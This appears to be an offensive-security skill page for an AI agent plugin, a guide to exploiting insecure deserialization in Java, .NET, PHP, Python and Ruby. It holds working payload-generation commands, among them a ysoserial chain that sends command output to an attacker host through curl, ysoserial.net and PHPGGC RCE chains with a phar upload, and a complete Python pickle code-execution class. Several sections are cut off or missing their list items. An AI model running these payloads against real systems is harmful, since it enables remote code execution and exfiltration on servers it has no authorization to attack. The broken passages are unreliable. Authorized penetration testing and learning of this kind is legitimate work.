secskills
secskills / offense / exploiting-deserialization

exploiting-deserialization

offense verified 2026-07-27

Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64 starting with rO0AB or AAEAAAD, when a cookie or parameter holds a serialized object, or when reviewing readObject, unserialize, pickle.loads, or Marshal.load.

$ /plugin install secskills-offense $ /plugin install secskills-core

Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.

Only against systems you are authorized to test.

When to Use

Marshal.load, BinaryFormatter, yaml.load, or ObjectInputStream

When NOT to Use

use testing-web-applications

auditing-code-for-vulnerabilities; return here for exploitation

Recognize the Format

Magic bytes identify the runtime, and the runtime decides the entire approach.

EncodingBase64 prefixRaw bytesRuntime
Java serializationrO0ABAC ED 00 05Java
.NET BinaryFormatterAAEAAAD/////00 01 00 00 00 FF FF FF FF.NET
.NET LosFormatter/ViewStateoften /wEPASP.NET
PHP serialize()Tzo, YToO: , a:PHP
Python picklegAJ, gASV, KGRw80 04, 80 02, (dpPython
Ruby MarshalBAh04 08Ruby
Java Hessian/BurlapYw63/48Java
YAML with tags!!python/object, !ruby/objectMultiple
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3

# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20

Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.

Java

# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0

# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0

Always start with URLDNS. It uses only JDK classes, so it works whenever deserialization happens at all, regardless of what libraries are present. A DNS hit confirms the vulnerability; only then is it worth guessing gadget chains.

Then determine the classpath to pick a chain:

difference in error behaviour

Common chains and what they need: CommonsCollections1–7 (commons-collections 3.x/4.x), CommonsBeanutils1, Spring1/2, Groovy1, Hibernate1, Jdk7u21 (no library needed, but a narrow JDK range), ROME, C3P0.

Beyond raw serialization: Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.

.NET

# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
              --generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1

Vulnerable formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter, and Json.NET/XmlSerializer when TypeNameHandling is not None. That last case is the most common in modern code: TypeNameHandling.All or .Objects lets the JSON specify its own $type, which is deserialization by another name.

rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs

ViewState is the classic ASP.NET case. Exploitable when the MAC key is known (leaked web.config, a known default, or enableViewStateMac="false" on old versions). Extract validationKey and decryptionKey first — without them the payload is rejected.

PHP

// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b        # base64 output
phpggc -l                                  # list available chains

# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x

Phar is the underrated vector: it turns any filesystem call on an attacker-influenced path into deserialization, with no obvious unserialize() in the code.

Python

# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())

Also check: yaml.load() without SafeLoader (!!python/object/apply:os.system), jsonpickle, dill, shelve, numpy.load with allow_pickle=True, and any ML model format that is pickle-backed — see securing-ai-systems.

Ruby

# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual cases

Also: YAML.load (pre-Psych-4 defaults), and Rails cookie stores where the secret_key_base has leaked.

Blind and Out-of-Band

Most real cases give no output. Confirm before investing in a chain.

# 1. DNS/HTTP callback — the primary confirmation
#    Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
#    'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
#    type produces different exceptions, confirming parsing without execution

An out-of-band interaction proves deserialization occurred. That alone is the finding; escalating to a full shell is often unnecessary and increases risk.

Where Serialized Data Hides

Beyond the obvious request parameter:

The queue and cache cases are the most valuable, because the consumer is usually a backend service with more privilege than the web tier — and nobody proxies it.

Rationalizations to Reject

blob is nearly impossible; the type is inside the blob.

JMX, and JNDI. .NET: check TypeNameHandling.

deserialization independent of the classpath. Confirm first, chain second.

secret. Check for leaked or default keys.

still there, and new chains keep appearing.

from more places than the web tier, and that is exactly the point.

deserialization sink is high severity. Report it as such.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References